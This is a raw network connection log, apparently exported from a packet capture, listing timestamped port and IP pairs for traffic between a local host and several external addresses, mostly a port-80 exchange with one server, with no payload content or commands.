Nov 20, 2024 23:13:05.418037891 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.418055058 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.426301003 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.426362991 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.426409006 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.426481962 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.434657097 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.434705973 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.434760094 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.434906006 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.443059921 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.443121910 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.443167925 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.443233013 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.444703102 CET	443	49928	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.444770098 CET	443	49928	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.444874048 CET	49928	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.445000887 CET	49928	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.445020914 CET	443	49928	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.445031881 CET	49928	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.445038080 CET	443	49928	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.448292017 CET	49939	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.448319912 CET	443	49939	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.448477030 CET	49939	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.448617935 CET	49939	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.448632956 CET	443	49939	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.451395988 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.451448917 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.451500893 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.451550007 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.459810972 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.459871054 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.459882975 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.459916115 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.467416048 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.467473030 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.467529058 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.467576027 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.475130081 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.475191116 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.475256920 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.475298882 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.482669115 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.482731104 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.522042990 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.522232056 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.603425980 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.603492022 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.603532076 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.603581905 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.605927944 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.605947018 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.605999947 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.611140013 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.611306906 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.612937927 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.612979889 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.613080025 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.613123894 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.618086100 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.618132114 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.618190050 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.618232965 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.623267889 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.623330116 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.623378992 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.623429060 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.628417015 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.628465891 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.628562927 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.628614902 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.633475065 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.633548021 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.633589029 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.633668900 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.638612986 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.638684988 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.638720036 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.638761044 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.639214993 CET	443	49929	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:05.639348030 CET	443	49929	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:05.639396906 CET	49929	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:05.639834881 CET	49929	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:05.639852047 CET	443	49929	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:05.639872074 CET	49929	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:05.639894962 CET	49929	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:05.643760920 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.643836021 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.643873930 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.643980026 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.648896933 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.648955107 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.649002075 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.649050951 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.654099941 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.654150009 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.654351950 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.654395103 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.657891989 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.657947063 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.657982111 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.658026934 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.661717892 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.661781073 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.661834002 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.661881924 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.665498018 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.665570021 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.665621996 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.669297934 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.669368982 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.669380903 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.669446945 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.673067093 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.673121929 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.673216105 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.673271894 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.676857948 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.676914930 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.676973104 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.677031994 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.680701017 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.680758953 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.680818081 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.684540033 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.684624910 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.684648991 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.684725046 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.688359976 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.688437939 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.688510895 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.692101955 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.692190886 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.692306042 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.713613033 CET	443	49931	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.716687918 CET	443	49931	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.716766119 CET	49931	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.716816902 CET	49931	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.716831923 CET	443	49931	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.716841936 CET	49931	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.716846943 CET	443	49931	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.719337940 CET	49940	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.719368935 CET	443	49940	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.719454050 CET	49940	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.719808102 CET	49940	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.719820023 CET	443	49940	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.761023045 CET	443	49918	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.764034986 CET	443	49918	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.764098883 CET	49918	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.764144897 CET	49918	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.764168978 CET	443	49918	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.764180899 CET	49918	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.764187098 CET	443	49918	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.766920090 CET	49941	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.766953945 CET	443	49941	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.767072916 CET	49941	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.767232895 CET	49941	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:13:05.767247915 CET	443	49941	13.107.246.63	192.168.2.7
Nov 20, 2024 23:13:05.770998955 CET	443	49851	162.159.61.3	192.168.2.7
Nov 20, 2024 23:13:05.771172047 CET	443	49851	162.159.61.3	192.168.2.7
Nov 20, 2024 23:13:05.771234989 CET	49851	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:13:05.771306038 CET	443	49852	162.159.61.3	192.168.2.7
Nov 20, 2024 23:13:05.771393061 CET	443	49852	162.159.61.3	192.168.2.7
Nov 20, 2024 23:13:05.771450996 CET	49852	443	192.168.2.7	162.159.61.3
Nov 20, 2024 23:13:05.804459095 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.804518938 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.804671049 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.804872990 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.805278063 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.805335999 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.805404902 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.805505991 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.808238029 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.808347940 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.808433056 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.808495045 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.811124086 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.811218977 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.811273098 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.814063072 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.814122915 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.814273119 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.814383984 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.816874981 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.816930056 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.817003965 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.817068100 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.819714069 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.819775105 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.819837093 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.819897890 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.822494030 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.822580099 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.822596073 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.822666883 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.825251102 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.825287104 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.825314045 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.825345039 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.828031063 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.828160048 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.828222990 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.830782890 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.830853939 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.830867052 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.831002951 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.833564997 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.833637953 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.833682060 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.833730936 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.836406946 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.836479902 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.836483955 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.836728096 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.839106083 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.839181900 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.839282036 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.839330912 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.841870070 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.841950893 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.841984987 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.842062950 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.844672918 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.844748020 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.844752073 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.844971895 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.847415924 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.847484112 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.847524881 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.847680092 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.850194931 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.850271940 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.850356102 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.850410938 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.852924109 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.852998018 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.853058100 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.853130102 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.855720997 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.855791092 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.855842113 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.855897903 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.858501911 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.858571053 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.858668089 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.858803988 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.861231089 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.861306906 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.861358881 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.861408949 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.864022970 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.864089012 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.864161968 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.864221096 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.866765976 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.866842031 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.866895914 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.867063046 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.869616985 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.869673967 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.869690895 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.869724989 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.872302055 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.872420073 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.872535944 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.875143051 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.875204086 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.875240088 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.875296116 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.877855062 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.877917051 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.878009081 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.878065109 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.880567074 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.880620003 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.880670071 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.880729914 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.883424044 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.883479118 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.883526087 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.883580923 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.886149883 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.886202097 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.886243105 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.886260986 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.888902903 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.889024019 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.889092922 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.889148951 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.891696930 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.891751051 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.891833067 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.891886950 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.894424915 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:05.894506931 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:05.956763029 CET	443	49930	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:05.956990957 CET	443	49930	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:05.957413912 CET	49930	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:05.957717896 CET	49930	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:05.957736015 CET	443	49930	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:05.982108116 CET	443	49933	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:05.984052896 CET	49933	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:05.984062910 CET	443	49933	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:05.986130953 CET	443	49933	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:05.986211061 CET	49933	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:05.986536026 CET	49933	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:05.986605883 CET	443	49933	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:05.986738920 CET	49933	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:05.986746073 CET	443	49933	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:05.986915112 CET	49933	443	192.168.2.7	20.189.173.11
Nov 20, 2024 23:13:05.987406969 CET	443	49933	20.189.173.11	192.168.2.7
Nov 20, 2024 23:13:06.005470037 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.005542040 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.005562067 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.005613089 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.006588936 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.006679058 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.006948948 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.006999016 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.007142067 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.007194042 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.009193897 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.009253979 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.009258032 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.009373903 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.010900974 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.010973930 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.011012077 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.011054993 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.013186932 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.013206005 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.013283968 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.015304089 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.015413046 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.015414953 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.015463114 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.017441034 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.017541885 CET	80	49932	185.215.113.16	192.168.2.7
Nov 20, 2024 23:13:06.017674923 CET	49932	80	192.168.2.7	185.215.113.16
Nov 20, 2024 23:13:06.019568920 CET	80	49932	185.215.113.16	192.168.2.7
